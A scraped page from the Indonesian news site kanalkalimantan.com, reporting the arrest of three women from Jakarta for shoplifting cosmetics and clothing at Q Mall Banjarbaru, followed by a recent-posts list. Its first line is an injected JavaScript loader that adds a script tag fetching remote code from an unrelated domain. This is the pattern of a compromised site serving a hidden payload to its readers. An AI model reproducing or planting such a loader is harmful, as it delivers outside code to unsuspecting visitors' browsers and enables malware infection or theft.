(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Tiga Wanita Penguntil di Q Mall Ternyata Warga Jakarta, Alat Kosmetik Kecantikan Jadi Barbuk


KANALKALIMANTAN.COM, BANJARBARU – Aksi pencurian yang terjadi di salah satu pusat perbelanjaan modern di Q Mall Banjarbaru, menarik perhatian masyarakat. Tiga pelaku wanita yang berhasil diamankan oleh pihak kepolisian, terbilang lihai dalam melancarkan aksinya.

Ketiga pelaku membagi peran masing-masing untuk menggarap barang curian di sebuah jenama perbelanjaan modern itu. Salah satu dari mereka ada yang bertugas mengawasi, lalu ada eksekutor memasukan barang curian ke dalam tas punggung, dan satu orang pengalih perhatian petugas jaga.

Tiga penguntil wanita itu ialah FH, M, dan FA. Mengejutkannya lagi, ketiga wanita tersebut rupanya bukan warga Banjarbaru ataupun tinggal di daerah yang ada di Provinsi Kalimantan Selatan.

“Ketiga pelaku wanita ini adalah warga DKI Jakarta. Hal itu berdasarkan alamat yang tertera di KTP mereka,” kata Kanit Reskrim Polsek Banjarbaru Kota, Iptu Yuli Tetro, Kamis (17/9/2020) siang.

Barang bukti yang disita dari tiga penguntil wanita itu ialah FH, M, dan FA. Foto: Polsek Banjarbaru Kota

Saat melancarkan aksinya di sebuah super market yang ada di Q Mall Banjarbaru, ketiga wanita penguntil tersebut mencuri barang-barang, yang kebanyakan adalah alat kosmetik kecantikan. Yakni, 9 buah studio line indstrcbble extreme, 16 buah Sl Fx gen normal strength, dan alat-alat kosmetik mahal lainnya. Termasuk juga mengembat 2 lembar baju dan 1 tas.

Atas kejadian tersebut, pihak pengelola super market hampir saja menelan kerugian mencapai Rp 6,1 juta. Beruntung selang beberapa menit usai keluar dari pintu keluar, trio wanita tersebut langsung dicegat oleh petugas keamanan dan akhirnya diamankan oleh pihak kepolisian.

“Untuk ketiga pelaku, kami jerat dengan pasal 363 KUHP yaitu pencurian dengan pemberatan, dengan ancaman hukumannya 7 tahun,” terang AKP Tetro.

Sementara itu, Kapolsek Banjarbaru Kota Kompol Purbo Raharjo melalui Kasi Humas Aipda Ahmat Supriyanto, mengimbau kepada pihak pengelola perbelanjaan untuk terus meningkatkan keamanan guna mencegah terjadinya pencurian. Apalagi, kondisi pandemi Covid-19 saat ini membuat para pelaku kejahatan mengincar tempat perbelanjaan sebagai target operasi.

“Pasang kamera CCTV dan menempatkan petugas keamanan. Hal itu perlu dilakukan lantaran adanya pergeseran modus operasi tindak pidana perampokan maupun pencurian di tengah pandemi Covid-19,” kata Aipda Supri. (kanalkalimantan.com/rico)

 

Reporter: Rico
Editor : Bie


Desy Arfianty

Recent Posts

Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menggelar ekspose pembangunan Area Traffic Control System (ATCS)… Read More

1 jam ago

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

2 jam ago

Bupati Lepas TP PKK Banjar Wakil Kalsel ke Parade Budaya Nusantara

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More

3 jam ago

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

3 jam ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

6 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

6 jam ago

This website uses cookies.